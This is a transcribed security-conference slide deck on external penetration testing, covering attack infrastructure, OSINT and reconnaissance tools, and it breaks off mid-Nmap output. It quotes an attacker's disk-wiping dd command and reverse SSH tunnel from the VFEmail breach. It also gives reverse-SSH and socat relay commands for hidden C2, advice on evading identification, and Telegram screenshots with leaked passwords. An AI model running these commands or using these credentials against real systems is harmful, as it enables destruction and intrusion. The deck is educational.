

# Z3r0 to H3r0 – Targeting Crown Jewels over the Internet



Viral Maniar

# # whoami

- Over 7 years of experience in the field of Information Security
- Passionate about offensive and defensive security
- Working as a Principal Security Consultant at Threat Intelligence
- In my free time I develop security tools
- Presented at BlackHat USA in August 2019 (PowerShell-RAT)
- Outside of Infosec land – I like photography



<https://github.com/Viralmaniar>



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<https://viralmaniar.github.io/>

# Disclaimer

- Performing any hack attempts or tests without written permission from the owner of the computer system is illegal.
- If you recently suffered a breach and found techniques or tools illustrated in this presentation, this neither incriminates my involvement in any way, nor implies any connection between myself and the attackers.
- The tools and techniques remain universal and penetration testers and security consultants often use them during engagements.

# Presentation Outline

- What is External Pentest?
- Infrastructure setup for attack
- Reconnaissance methods and OSINT techniques
- Common issues and misconfiguration in the external perimeter
- Gain internal access to the network
- Stay calm and quiet in the network and plant a backdoor
- Identify crown jewels
- Exfiltrate sensitive data
- Key takeaways


# MITRE ATT&CK

ATT&CK Matrix for Enterprise


Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Drive-by Compromise	AppleScript	.bash_profile and .bashrc	Access Token Manipulation	Access Token Manipulation	Account Manipulation	Account Discovery	AppleScript	Audio Capture	Commonly Used Port	Automated Exfiltration	Data Destruction
Exploit Public-Facing Application	CMSTP	Accessibility Features	Accessibility Features	Binary Padding	Bash History	Application Window Discovery	Application Deployment Software	Automated Collection	Communication Through Removable Media	Data Compressed	Data Encrypted for Impact
External Remote Services	Command-Line Interface	Account Manipulation	AppCert DLLs	BITS Jobs	Brute Force	Browser Bookmark Discovery	Distributed Component Object Model	Clipboard Data	Connection Proxy	Data Encrypted	Defacement
Hardware Additions	Compiled HTML File	AppCert DLLs	Applnit DLLs	Bypass User Account Control	Credential Dumping	Domain Trust Discovery	Exploitation of Remote Services	Data from Information Repositories	Custom Command and Control Protocol	Data Transfer Size Limits	Disk Content Wipe
Replication Through Removable Media	Control Panel Items	Applnit DLLs	Application Shimming	Clear Command History	Credentials in Files	File and Directory Discovery	Logon Scripts	Data from Local System	Custom Cryptographic Protocol	Exfiltration Over Alternative Protocol	Disk Structure Wipe
Spearphishing Attachment	Dynamic Data Exchange	Application Shimming	Bypass User Account Control	CMSTP	Credentials in Registry	Network Service Scanning	Pass the Hash	Data from Network Shared Drive	Data Encoding	Exfiltration Over Command and Control Channel	Endpoint Denial of Service
Spearphishing Link	Execution through API	Authentication Package	DLL Search Order Hijacking	Code Signing	Exploitation for Credential Access	Network Share Discovery	Pass the Ticket	Data from Removable Media	Data Obfuscation	Exfiltration Over Other Network Medium	Firmware Corruption
Spearphishing via Service	Execution through Module Load	BITS Jobs	Dylib Hijacking	Compile After Delivery	Forced Authentication	Network Sniffing	Remote Desktop Protocol	Data Staged	Domain Fronting	Exfiltration Over Physical Medium	Inhibit System Recovery
Supply Chain Compromise	Exploitation for Client Execution	Bootkit	Exploitation for Privilege Escalation	Compiled HTML File	Hooking	Password Policy Discovery	Remote File Copy	Email Collection	Domain Generation Algorithms	Scheduled Transfer	Network Denial of Service
Trusted Relationship	Graphical User Interface	Browser Extensions	Extra Window Memory Injection	Component Firmware	Input Capture	Peripheral Device Discovery	Remote Services	Input Capture	Fallback Channels		Resource Hijacking
Valid Accounts	InstallUtil	Change Default File Association	File System Permissions Weakness	Component Object Model Hijacking	Input Prompt	Permission Groups Discovery	Replication Through Removable Media	Man in the Browser	Multi-hop Proxy		Runtime Data Manipulation
	Launchctl	Component Firmware	Hooking	Control Panel Items	Kerberoasting	Process Discovery	Shared Webroot	Screen Capture	Multi-Stage Channels		Service Stop
	Local Job Scheduling	Component Object Model Hijacking	Image File Execution Options Injection	DCShadow	Keychain	Query Registry	SSH Hijacking	Video Capture	Multiband Communication		Stored Data Manipulation
	LSASS Driver	Create Account	Launch Daemon	Deobfuscate/Decode Files or Information	LLMNR/NBT-NS Poisoning and Relay	Remote System Discovery	Taint Shared Content		Multilayer Encryption		Transmitted Data Manipulation
	Mhta	DLL Search Order Hijacking	New Service	Disabling Security Tools	Network Sniffing	Security Software Discovery	Third-party Software		Port Knocking		
	PowerShell	Dylib Hijacking	Path Interception	DLL Search Order Hijacking	Password Filter DLL	System Information Discovery	Windows Admin Shares		Remote Access Tools		
	Regsvcs/Regasm	External Remote Services	Plist Modification	DLL Side-Loading	Private Keys	System Network Configuration Discovery	Windows Remote Management		Remote File Copy		
	Regsvr32	File System Permissions Weakness	Port Monitors	Execution Guardrails	Securityd Memory	System Network Connections Discovery			Standard Application Layer Protocol		

- Knowledge base of adversary tactics and techniques
- Foundation for the development of specific threat models and methodologies
- Consists of 3 major matrices:
  - PRE-ATT&CK
  - ATT&CK
  - MOBILE

# External Pentest Methodologies

- **PRE-ATT&CK** - Set of 15 different categories used by an attacker to plan an attack
    - <https://attack.mitre.org/tactics/pre/>
  - **OSINT Framework** - OSINT framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources
    - <https://osintframework.com/>
  - **ISTAR** - Intelligence, Surveillance, Target Acquisition and Reconnaissance
  - **F2T2EA Model** - Find, Fix, Track, Target, Engage and Assess
  - **F3EAD cycle** - Find, Fix, Finish, Exploit, Analyze and Disseminate
- 
- Not used widely

# What Crown Jewels Hackers are after?






# Crown Jewels (Cntd..)

- Not all systems and data are created equally
- In any given organisation, some of the data, systems, and applications are more critical than others.
- Some are more exposed to risk, and some are more likely to be targeted
- Attackers are really good at identifying sensitive and high value data and discovering the locations of who can access this data
- Monitor access controls and implement separation of duties




# Interesting Hack



Making email safe for the masses™

User Control Panel | Account Grid | Bulk Mail Options | FAQ | Contact | About

Forum

  
ACCEPTED HERE

Forum: [General Discussion](#)  
Title: [Headline court...](#) 1 replies  
- Last post by Havokmon,  
Fri 19 Dec 14:45 ♦♦

Forum: [General Discussion](#)  
Title: [not receiving a...](#) 1 replies  
- Last post by Havokmon,  
Mon 8 Dec 16:13 ♦♦

Forum: [General Discussion](#)  
Title: [I'm interested...](#) 7 replies  
- Last post by Havokmon,  
Fri 7 Nov 14:19 ♦♦

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!!!ALERT!!!! Update Feb 11 2019  
www.vfemail.net and mail.vfemail.net are currently unavailable.  
We have suffered catastrophic destruction at the hands of a hacker, last seen as aktiv@94.155.49.9  
This person has destroyed all data in the US, both primary and backup systems. We are working to recover what data we can.


New updates 2/11/19 6pm CST:

- Incoming mail is now being delivered.
- Webmail is up. Note-mailboxes are created upon new mail delivery. If you cannot login, you may not have received mail.
- Mailboxes are new, no subfolders exist.
- No filters are in place. If you created a filter with Horde, Login to Horde, Create any folders you need.
- Click Filter, Click Script, then click 'Activate Script'.
- There is no spam scanning at this time.


At this time I am unsure of the status of existing mail for US users. If you have your own email client, DO NOT TRY TO MAKE IT WORK.  
If you reconnect your client to your new mailbox, all your local mail will be lost.

Worried about your privacy? Use our [Metadata Mitigator™ System!](#) ?  
Use PGP to protect your email content!  
View our new [Privacy Q&A!](#)


Since 2001, VFEmail has provided businesses and end-users a quick and convenient way to ensure their own security when it comes to email.

**VFEmail.net** @VFEmail · Feb 11  
Strangely, not all VMs shared the same authentication, but all were destroyed. This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy.


5 32 43

**VFEmail.net** @VFEmail · Feb 11  
At this time, the attacker has formatted all the disks on every server. Every VM is lost. Every file server is lost, every backup server is lost. NL was 100% hosted with a vastly smaller dataset. NL backups by the provideer were intact, and service should be up there.


15 143 142

**VFEmail.net** @VFEmail · Feb 11  
nl101 is up, but no incoming email. I fear all US based data may be lost.

1 5 12

**VFEmail.net** @VFEmail · Feb 11  
Caught the perp in the middle of formatting the backup server:  
dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559  
via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error  
-oUserKnownHostsFile=/dev/null aktiv@94.155.49.9 -R  
127.0.0.1:30081:127.0.0.1:22 -N

18 121 273

**VFEmail.net** @VFEmail · Feb 11  
This is not looking good. All externally facing systems, of differing OS's and remote authentication, in multiple data centers are down.

5 12 19

# Data Breach Timeline

← → ↺ 🏠 <https://krebsonsecurity.com/2019/04/experts-breach-at-it-outsourcing-giant-wipro/>  
 ⚙ Most Visited 🌈 Getting Started 📦 Widgets | Django doc...



In-depth security news and investigation

## 15 Experts: Breach at IT Outsourcing Giant Wipro

APR 19

Indian information technology (IT) outsourcing and consulting giant **Wipro Ltd.** [NYSE:WIT] is investigating reports that its own IT systems have been hacked and are being used to launch attacks against some of the company's customers, multiple sources tell KrebsOnSecurity. Wipro has refused to respond to questions about the alleged incident.

Earlier this month, KrebsOnSecurity heard independently from two trusted sources that **Wipro** — India's third-largest IT outsourcing company — was dealing with a multi-month intrusion from an assumed state-sponsored attacker.



Both sources, who spoke on condition of anonymity, said Wipro's systems were seen being used as jumping-off points for digital fishing expeditions targeting at least a dozen Wipro customer systems.

The security experts said Wipro's customers traced malicious and suspicious network reconnaissance activity back to partner systems that were communicating directly with Wipro's network.

On April 9, KrebsOnSecurity reached out to Wipro for comment. That prompted an email on Apr. 10 from **Vipin Nair**, Wipro's head of communications. Nair said he was traveling and needed a few days to gather more information before offering an official response.

On Friday, Apr. 12, Nair sent a statement that acknowledged none of the questions Wipro was asked about an alleged security incident involving attacks against its own customers.

Entity	Year	Records	Organization type	Method
<a href="#">2019 Bulgarian revenue agency hack</a>	2019	over 5,000,000	government	hacked
<a href="#">Canva</a>	2019	140,000,000	web	hacked
<a href="#">Capital One</a>	2019	106,000,000	financial	hacked
<a href="#">Desjardins</a>	2019	2,900,000	financial	inside job
<a href="#">Facebook</a>	2019	540,000,000	social network	poor security
<a href="#">Facebook</a>	2019	1,500,000	social network	accidentally uploaded
<a href="#">First American Corporation</a>	2019	885,000,000	financial service company	poor security
<a href="#">Health Sciences Authority (Singapore)</a>	2019	808,000	healthcare	poor security
<a href="#">Justdial</a>	2019	100,000,000	local search	unprotected api
<a href="#">Ministry of Health (Singapore)</a>	2019	14,200	healthcare	poor security/inside job
<a href="#">Mobile TeleSystems (MTS)</a>	2019	100,000,000	telecommunications	misconfiguration/poor security
<a href="#">Quest Diagnostics</a>	2019	11,900,000	Clinical Laboratory	poor security
<a href="#">StockX</a>	2019	6,800,000	retail	hacked
<a href="#">Truecaller</a>	2019	299,055,819	Telephone directory	unknown
<a href="#">Woodruff Arts Center</a>	2019	unknown	arts group	poor security
<a href="#">Westpac</a>	2019	98,000	financial	hacked
<a href="#">Australian National University</a>	2019	19 years of data	academic	hacked
<a href="#">AerServ (subsidiary of InMobi)</a>	2018	75,000	advertising	hacked
<a href="#">Air Canada</a>	2018	20,000	transport	hacked
<a href="#">Bell Canada</a>	2018	100,000	telecoms	hacked
<a href="#">Bethesda Game Studios</a>	2018		gaming	accidentally published
<a href="#">Blank Media Games</a>	2018	7,633,234	gaming	hacked


[https://en.wikipedia.org/wiki/List\\_of\\_data\\_breaches](https://en.wikipedia.org/wiki/List_of_data_breaches)

# Setup for Attack Infrastructure

# Setup – External Pentest Attack

- VPS server running Kali distribution. All malicious traffic will go from this server
- Connect to VPS over VPN or TOR tunnel to avoid revealing of real IP address in the connection logs
- Real attacker uses public Wi-Fi access point where they can hide behind number of connections. Usually finds a blind spot to avoid video surveillance
- Connect to our setup from Live USB so that we leave no logs on the actual machine


# Setup – Traditional Attack Infrastructure



# Drawbacks of Single VPS Setup

- In the current setup there are high chances of being detected and having a single point of failure
- In case the attacking server gets blacklisted, we would need to rebuild the VPS server with necessary tools
- Blue team can perform reverse attack on VPS and take advantage of vulnerabilities in attacking tools to hack the hacker
- We would setup long term attacking servers, HTTP relays/forwarders and redirectors for having a resilient and covert setup

# Setup – Resilient Attack Infrastructure





# Reverse SSH Tunnels and SOCAT

```
root@C2-Serve1 $ :ssh -nNT -R 5555:localhost:443 <publ  
ic_relay_ip>
```

```
root@Relay1 password:
```


Reverse SSH Tunnel

```
root@relay1 $ : socat TCP4-LISTEN:443,bind=0.0.0.0, 0.0.0.0,fork TCP4:127.0.0.1:5555
```

socat - Multipurpose relay (SOcket CAT)

# OSINT, SOCMINT & GEOINT for External Pentest

# Lampyre




- Lampyre is a Windows-based Data Analysis tool that can be used for all kinds of analysis including Crime, Geographic, Cyber Threat, and Financial.

Data.xlsx

Domain	Email	Type	Ip	lat	lon
lampyre.io	admin@lampyre.io	admin	45.56.84.216	37.536501	-121.956

Row count: 1 | Rows selected: 0 | Cells selected: 0

# Maltego



- Maltego comes pre-installed on Kali.
- It supports API communication to software like Shodan and Threatminer.


### Transform Hub

Refresh Transform Hub Update Transforms

	<b>PATERVA CTAS CE</b> Paterva Standard Paterva Transforms FREE <b>INSTALLED</b>
 <b>dataprovider.com</b> dataprovider.com Dataprovider.com transforms the internet into a str... PURCHASED SEPARATELY	 <b>CaseFile Entities</b> Paterva Additional entities from CaseFile FREE
 <b>Farsight DNSDB</b> Farsight Security, Inc Query the largest DNS Intelligence database, 100+ ... FREE	 <b>CipherTrace</b> CipherTrace Cryptocurrency forensics and anti money launderi... FREE
 <b>Cisco Threat Grid</b> Cisco Threat Grid Query Threat Grid's database of threat intelligence. PURCHASED SEPARATELY	 <b>Kaspersky Lab</b> Kaspersky Lab Query Kaspersky Threat Intelligence Data Feeds. N... PURCHASED SEPARATELY
 <b>Shodan</b> Paterva Query Shodan data from within Maltego! FREE	 <b>ZETalytics Massive Passive</b> ZETalytics Pivots include billions of records for historical dom... FREE

# SpiderFoot

```
steve@dev:~/spiderfoot$ python ./sfcli.py -s http://127.0.0.1:5009
```



Open Source Intelligence Automation.  
by Steve Micallef | @binarypool


```
[*] Version 2.11.  
[*] Server http://127.0.0.1:5009 responding.  
[*] Loaded previous command history.  
[*] Type 'help' or '?'.  
sf> ping  
[*] Server http://127.0.0.1:5009 responding.  
sf> # Looks good!  
sf> exit  
steve@dev:~/spiderfoot$
```

- SpiderFoot queries over 100 public data sources (OSINT) to gather intelligence
- Provides insight into possible data leaks, vulnerabilities or other sensitive information such as public code repositories
- Generates detailed report

The screenshot shows the SpiderFoot web interface with the 'binarypool' scan results. The interface includes a navigation bar with 'New Scan', 'Scans', 'Settings', and 'About' links. Below the navigation bar, there are tabs for 'Status', 'Browse', 'Graph', 'Scan Settings', and 'Log'. A search bar is also present. The main content area displays a table with the following data:

Type	Unique Data Elements	Total Data Elements	Last Data Element
Account on External Site	6	6	2019-07-11 15:02:51
Affiliate - Company Name	3	3	2019-07-11 15:03:45
Affiliate - Domain Name	1	3	2019-07-11 15:04:34
Affiliate - Domain Whois	1	1	2019-07-11 15:03:45
Affiliate - Email Address	3	3	2019-07-11 15:03:45
Affiliate - Internet Name	3	3	2019-07-11 15:04:21
Domain Name	1	1	2019-07-11 15:01:49
Email Gateway (DNS 'MX' Records)	1	1	2019-07-11 15:04:21
Internet Name	2	4	2019-07-11 15:03:23
Linked URL - Internal	2	2	2019-07-11 15:01:46
Malicious Affiliate	2	2	2019-07-11 15:04:21
Name Server (DNS 'NS' Records)	2	2	2019-07-11 15:04:03
Public Code Repository	2	2	2019-07-11 15:02:51

# BinaryEdge



- Distributed platform of scanners and honeypots, to acquire, classify and correlate different types of data by scanning the entire Internet
- Allows an organisation to see their Internet attack surface:
  - Ports and Services Exposure
  - Possible Vulnerabilities
  - Accessible Remote Desktops
  - Invalid SSL Certificates
  - Misconfigured Network Shares
  - Databases

# Telegram Intel

The screenshot shows a web browser at <https://search.buzz.im/> with the search query 'license key' in the address bar. The page displays 'Found 354 results' under the 'CHANNELS' tab. A modal window from 'MALWAREBYTES PREMIUM' is overlaid, showing license details for a user named '6UY[redacted]M'. The details include: Product Name: Malwarebytes 3 Premium, Expires On: Lifetime, Max devices / Used: 1 / 2, and Active: Yes. Below the details is a 'SEND' button and the text 'ONLY ON THIS CHANNEL'. The modal also shows '301 views' and a timestamp 'Aug 31 at 12:42'. In the background, a Telegram channel post is visible with the text 'WALL STREET C...', 'Abg who get license k...', 'Date: 03 Sep. 2019 04:3...', and a user profile for 'RAKA @b...'. At the bottom of the post, it says 'HMA KEY', 'License key: QQ[redacted]GN', 'Expires in (Days): September 8th, 2019', 'Expires in (Date): Auto-renewal ON', 'Date: 02 Sep. 2019 20:15', 'Subscribers: 2238', and 'Author: blackdayciti'.

Buzz.im -

<https://search.buzz.im/>

Telegram Channels -

<https://tlgrm.eu/channels>

Lyzem - <https://lyzem.com/>


Telegram Analytics -

<https://tgstat.ru/en/search>

- Access to License keys to security tools
- Chat from public Telegram channels
- Password dumps
- Credit Card leaks
- Hacking tools



# Telegram Treasures



Search results for "password dump" on Telegram.

**TELEGAGO** password dump

About 166 results (0.49 seconds)

**^CHECKERS - CARDING!!! -**  
https://t.me/s/ccheckersdocumentarios  
Hà 2 dias ... **Dumps** with track1&2,101&201 with pin and regional unblock instock ...  
**Password** : morisson525. Question 1 : Whats Your Favorite Game  
[Structured data](#)

**CryptoWZRD - Telegram**  
https://t.me/s/WZRDcrypto  
2 days ago ... Even if BTC **dumps** lower we do not need to worry too much. 7.5K viewsTora,  
04 :28, July 24 ... https://cryptowzrd.com/**password**. Enjoy! 📈 . 6.8K viewsTora, ...  
[Structured data](#)

**Must Leak - Telegram**  
https://t.me/s/Mustleak?before=1780  
4 days ago ... Will get Nord VPN 30 days With Auto Renew If you dont change **password** :  
504 viewseditd 04:25 .... Todays **Dump** smtp, imap , webmail @mustleak. Email and ...  
[Structured data](#)

**Nb - Telegram**  
https://t.me/s/nbnb133/624  
5 days ago ... http://tinyum.com/DU8 Droid **Dump** ... http://tinyum.com/DqV Free **Password**  
Wifi Recovery .... In other words, it only works if you've forgotten a **password**.  
[Structured data](#)

**Professional Hackers On Security - Telegram**  
https://t.me/s/PHOfficial?q=%23**password**\_security  
5 days ago ... Google Chrome will now generate unique **passwords** for you ... by Lisa Vaas  
Security researchers often **dump** on users for their cruddy **password** practices.  
[Structured data](#)

**PREMIUM EVERYTHING - Telegram**  
https://t.me/s/allwebseriesfree?before=14601  
6 days ago ... 📈5400x Discord Accounts **Dump** | UUID | TIME | EMAIL | **PASSWORD** |  
TOKEN https://ushortx.com/Xmq3 ✅For Getting Final Link Complete Human Verification ...  
[Structured data](#)

Search results for "vpn password" on Telegram.

**TELEGAGO** vpn password

About 1,100 results (0.15 seconds)

**Ethical Hacking - Telegram**  
https://t.me/s/ethhackers?before=22  
2 days ago ... Hacking (Ann Loader, **Password** Stealers) Injection Programs (SQL ...  
**VPN'S & Proxies** .... UDEMY Udem Premium Accounts **Passwords** With Courses  
[Structured data](#)

**Cracky Boy - Telegram**  
https://t.me/s/crackyboy  
Hace 1 día ... wgelhaw@gmail.com. **Password**: KYFEhegz ... **Password**: doomer5562.  
As Combo: .... Cracky Boy. VYPR **VPN** BY PAYPAL 100% Working  
[Structured data](#)

**VPN Unlimited - Telegram**  
https://t.me/s/VPNunlimitedKeepSolid?before=338  
2 days ago ... What's \$499.99 (price of the Lifetime **VPN** Unlimited subscription) + \$99.99  
(price of 5 ... Resist that urge, and ask yourself, "How strong is my **password**?"  
[Structured data](#)

**Free Premium Accounts - Telegram**  
https://t.me/s/premiumHost  
2 days ago ... Nord **Vpn** Premium Accounts https://throwbin.io/23fAcqs. Please Send ...  
Netflix Premium Account **Passwords** benjamin.vanier@gmail.com: ...  
[Structured data](#)

**accounts paradise - Telegram**  
https://t.me/s/ac1paradise?before=15600  
2 days ago ... **Password**: ftemr2kg. Subscription: Premium ... **Password**: aspire8920g ... **VPN**:  
Hide my ass **vpn** Express **vpn**® Nord **Vpn** Zenmate Private **vpn**  
[Structured data](#)

**Junior max FreeNet Surf - Telegram**  
https://t.me/s/Juniormax1  
2 days ago ... Can anyone search Vpnbook.com and check vpnbook **password** for me. User:  
@ Junior2019max. 427 viewsJoin @Juniormax7 Junior&max, 07:27. May 10.

[Поймать нарушителя! Учимся детектировать инструменты атак ...](#)  
https://telegra.ph/Pojmat-narushitelya-Uchimsya-detektirovat-instrumenty-atak-na-Windows-07-12

11 июл 2019 ... С его помощью можно получать копии областей памяти LSA, SAM, SECURITY , **NTDS.dit**, поэтому его можно увидеть на разных стадиях ...  
[Structured data](#)

[Telegram - براینیت](#)  
https://t.me/s/brainit

10 ژوئن 2019 ... پایگاه داده اکتیو دایرکتوری یک فایل به نام **Ntds.dit** است که در مسیر systemroot % tds% قرار دارد . در فایل **Ntds.dit** تمامی اطلاعات مربوط به سیستم های موجود در ...  
[Structured data](#)

[Бюджетный самурай - Telegram](#)  
https://t.me/s/budsamurai?before=333


10 июн 2019 ... Вывод: дампы вашего **NTDS.dit**, совсем немного средств в облаке и ваши восьмизначные пароли сдадутся очень быстро. 4.3K views 01:12. February 18 .  
[Structured data](#)

[Аудит событий Windows - Telegraph](#)  
https://telegra.ph/Audit-sobytij-Windows-02-07

5 фев 2017 ... ... позволяет выполнять различные операции с базой данных AD в онлайн или офлайн режиме (непосредственно с файлом **ntds.dit**).  
[Structured data](#)

# Open S3 Buckets

- Easiest way to attack crown jewels
- **s3-leaks** - <https://github.com/nagwww/s3-leaks> - Keeps track of data breach via open S3 buckets
- **s3-inspector** - <https://github.com/kromtech/s3-inspector>
- **S3Scanner** - <https://github.com/sa7mon/S3Scanner>



# Subdomain Enumeration

- Search engines (Google, Bing, Yahoo, Baidu)
- <https://virustotal.com/> - Search for “domain:target.com” and virustotal will provide extensive information in addition to Observed subdomains
- <https://dnsdumpster.com> – The name says it all. Enter the target domain, hit search, profit! – You can download the Excel Spreadsheet and view the graphs
- <https://crt.sh/?q=%25target.com> – Sometimes SSL is a goldmine of information. Use this site by searching for “%target.com” and it’ll get back with subdomains
- <https://censys.io> – Not great but has some useful information sometimes
- <https://searchdns.netcraft.com/> – Another to keep an eye on
- <https://www.shodan.io> – Shodan is an infrastructure based spider with an associated information caching database that is made predominantly for security professionals. It has historical and current data on a great numbers of the internet’s servers, including seen-subdomains, server versioning, and much more

# Subdomain Enumeration - Tools

- Subbrute – A DNS meta-query spider that enumerates DNS records, and subdomains
- dnscan – a python wordlist-based DNS subdomain scanner
- Nmap – Yes it's a port scanner, but it can bruteforce subdomains too (check nmap scripts)
- Recon-Ng – The recon-ng framework has a *brute\_hosts* module that allows to bruteforce subdomains
- DNSRecon – A powerful DNS enumeration script
- Fierce – A semi-lightweight enumeration scanner
- Gobuster – Alternative directory and file busting tool written in Go
- DNSenum – Offers recursive and threaded subdomain enumeration
- AltDNS – offers bruteforcing based on permutations of already found domains

# LDAP Directory

Browser address bar: <https://redacted/OrganizationChart.cc?methodToCall=show&selectedTab=dash>


Navigation bar: Most Visited, Getting Started, Widgets | Django doc..., VirusTotal

Header: Welcome, Guest [Sign in](#) [Search Employee](#) [Mobile Access](#)

Organization Chart for Domain: [redacted](#) [Change](#)

Left sidebar: ud.osu.edu

Employee profile:

	Full name	<a href="#">redacted</a>	Department	<a href="#">redacted</a>
	E-mail	<a href="#">redacted</a>	Description	<a href="#">redacted</a>
	Telephone number	<a href="#">redacted</a>		

Google search results for `inurl:OrganizationChart.cc`


Search filters: [All](#) [Images](#) [Maps](#)




About 99 results (0.26 seconds)

# RocketReach

← → ↺ 🏠 https://rocketreach.co/threat-intelligence-pty-ltd-profile\_b503db29f83ef056 Testing 🍎 📄 ... 🍷 ☆

⚙️ Most Visited 🍷 Getting Started 📄 Widgets | Django doc... 🔍 VirusTotal


 RocketReach


  


Company Profile Email Format Management


### Threat Intelligence Pty Ltd Profile


Threat Intelligence Pty Ltd is a company based in Sydney, New South Wales, AU .




 Website <https://www.threatintelligence.com>

 Revenue \$2.40 Million







 Employees 12 (View all 👤 )

 Address

 Web Rank 31 Million

Find email for Threat Intelligence Pty Ltd employees

Search from 12 Threat Intelligence Pty Ltd employees, RocketReach validates emails and finds alternate emails & phone for free.

	Name	Company	Location	Contact Info	
	Viral Maniar Melbourne, Australia	<a href="#">Threat Intelligence Pty Ltd</a>	Melbourne, Australia	<b>Search:</b> threatintelligence.com, gmail.com, +more	<a href="#">+ Get Contact</a>
	Breno Cunha Senior Security Consultant	Threat Intelligence Pty Ltd	Australia	<b>Found 1 email:</b> neurotech.com.br	<a href="#">+ Get Contact</a>
	Sandeep Ghai Senior DevOps / Cloud Engineer	Threat Intelligence Pty Ltd	Sydney, Australia	<b>Search:</b> threatintelligence.com, gmail.com, +more	<a href="#">+ Get Contact</a>
	Damian Harvey Anz Business Manager	<a href="#">Threat Intelligence Pty Ltd</a>	Sydney, New South Wales, Australia	<b>Found 2 emails:</b> vormetric.com, rsa.com	<a href="#">+ Get Contact</a>
	Paul Kalinin --	Threat Intelligence Pty Ltd	Australia	<b>Search:</b> threatintelligence.com, gmail.com, +more	<a href="#">+ Get Contact</a>
	Ty Miller Managing Director	<a href="#">Threat Intelligence Pty Ltd</a>	Sydney, New South Wales, Australia	<b>Found 2 emails:</b> gmail.com, purehacking.com <b>Search:</b> <a href="#">phones available on +Phone plans</a>	<a href="#">+ Get Contact</a>

Company Profile

Email Format

Management

### Threat Intelligence Pty Ltd Email Format


Threat Intelligence Pty Ltd uses 1 email formats, with first '' last (ex. jane.doe@threatintelligence.com) being used 100.0% of the time.

Threat Intelligence Pty Ltd's Email Format	Percentage
first '' last jane.doe@threatintelligence.com	100.0%

# Hunter.io

Find email addresses

4 email addresses


t  miller@threatintelligence.com

2 sources ^


<http://oasis-open.org/news/announcements/call-for-participation-oasis-cyber-thr...> Aug 26, 2018

<http://wesvics.com/tasmania/connect-acrltve-directory-with-azure-activedirector...> Feb 5, 2019


REMOVED

i o@threatintelligence.com 

14 sources v

c eers@threatintelligence.com 

1 source v

a rew.vanderstock@threatintelligence.com 







1 source ^

<http://oasis-open.org/news/announcements/call-for-participation-oasis-cyber-thr...> Aug 26, 2018



Sign up to uncover the email addresses, get the full results, search filters, CSV downloads and more. Get **50 free searches/month**.

[Create a free account](#)

Secure | https://hunter.io/search/markethero.io


 Search  Finder  Verifier  Bulks  Leads  Outreach



Domain Search ?


Market Hero  



☒ All ☐ Personal ☐ Generic

2 results [Export in CSV](#)

Itsupport@markethero.io 


  1 source v

jd@markethero.io 

  1 source v



# linkedin2username



Spray away.  
[github.com/initstring](https://github.com/initstring)

```
usage: linkedin2username.py [-h] [-p PASSWORD] [-n DOMAIN] [-d DEPTH]
                             [-s SLEEP] [-x PROXY] [-k KEYWORDS] [-g]
                             username company

positional arguments:
  username              A valid LinkedIn username.
  company               Company name exactly as typed in the company linkedin
                        profile page URL.

optional arguments:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        Specify your password in clear-text on the command
                        line. If not specified, will prompt and obfuscate as
                        you type.
  -n DOMAIN, --domain DOMAIN
```


- Generates username lists from company's LinkedIn page
- Here's what you get:
  - **first.last.txt**: Usernames like Joe.Schmoe
  - **last.txt**: Usernames like JSchmoe
  - **firstl.txt**: Usernames like JoeS
  - **first.txt**: Usernames like Joe
  - **lastf.txt**: Usernames like SchmoeJ
  - **rawnames.txt**: Full name like Joe Schmoe

```
$ python linkedin2username.py
myname@email.com uber-com
```

```
$ python linkedin2username.py
myname@email.com uber-com -d 5-n 'uber.com'
```

<https://github.com/initstring/linkedin2username>

# FOCA



"CEO" "email" "@" "Name" "Phone" filetype:csv OR filetype:xls OR filetype



All Images Maps News Videos More Settings Tools

About 14,700 results (0.61 seconds)

[XLS] [fortune 1000](#)

[assets.time.com/cm/fortune-data.../2016\\_FORTUNE\\_1000\\_w\\_Contacts\\_Sample.xls](#) ▼

... CORPORATE WEBSITE, CEO NAME, RETURN TO MAIN DATA, CEO TITLE, Email, Office Phone, Office Ext, Direct Dial, CFO NAME, CFO TITLE, Email, Office ...


[XLS] [Fortune 1000 Companies List and Contact Info - Boolean Strings](#)

[booleanstrings.com/wp-content/uploads/2014/01/fortune1000-2012.xls](#) ▼

6, Company, Phone, Email Format, Email Format 2, General Email, CEO Name, CEO Email, Website, Address, City, State, Zipcode. 7, Chevron, 925-842-1000 ...




# Instagram



- <http://instadp.com>
- <http://izuum.com>
- <http://otzberg.net/iguserid/>
- <http://codeofaninja.com/tools/find-instagram-user-id>
- <http://sometag.org>
- <https://github.com/althonos/InstaLooter> (API Less)
- <https://github.com/akurtovic/InstaRaider> (API Less)


# SnapMap



- Unauthenticated view of the recent snap chat stories
- Gives you a nice heatmap of where the most




# echosec



- Information discovery by monitoring various social media
- Allows one to set a radius or exact location


# SocialPath



- SocialPath is simple browser application to find accounts across social media — Facebook, Instagram, Twitter, Reddit and Stackoverflow.
- Collected data is sorted according words frequency, hashtags, timeline, mentions, similar accounts and presented as charts with the help of D3js.
- It uses Django as backend

<https://github.com/woj-ciech/SocialPath>

# Visual Search and Clustering Search Engines



- **Answer The Public** - <https://answerthepublic.com>
- **Carrot2** - <http://search.carrot2.org>
- **Cluuz** - <http://www.cluuz.com>
- **Exalead** - <http://www.exalead.com>
- **iSEEK** - <http://iseek.com>
- **Yippy** - <http://yippy.com>




# Screenshotting

- **EyeWitness** - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible.
  - <https://github.com/FortyNorthSecurity/EyeWitness>
- **Gowitness** - a golang, web screenshot utility using Chrome Headless
  - <https://github.com/sensepost/gowitness>
- **HTTPScreenShot** - HTTPScreenShot is a tool for grabbing screenshots and HTML of large numbers of websites. The goal is for it to be both thorough and fast
  - <https://github.com/breenmachine/httpscreenshot>

# Nmap

- `nmap -sV -A -p- -oA outputfile x.x.x.x-x --version intensity 0`



- `nmap --script-updated`

# Nmap – DNS Brute

```
root@hell: ~  
File Edit View Search Terminal Help  
root@hell:~# nmap --script dns-brute --script-args dns-brute.domain=microsoft.com,dns-brute.threads=6  
Starting Nmap 7.00 ( https://nmap.org ) at 2016-05-09 06:55 EDT  
Pre-scan script results:  
| dns-brute:  
|   DNS Brute-force hostnames:  
|   mail.microsoft.com - 167.220.71.19  
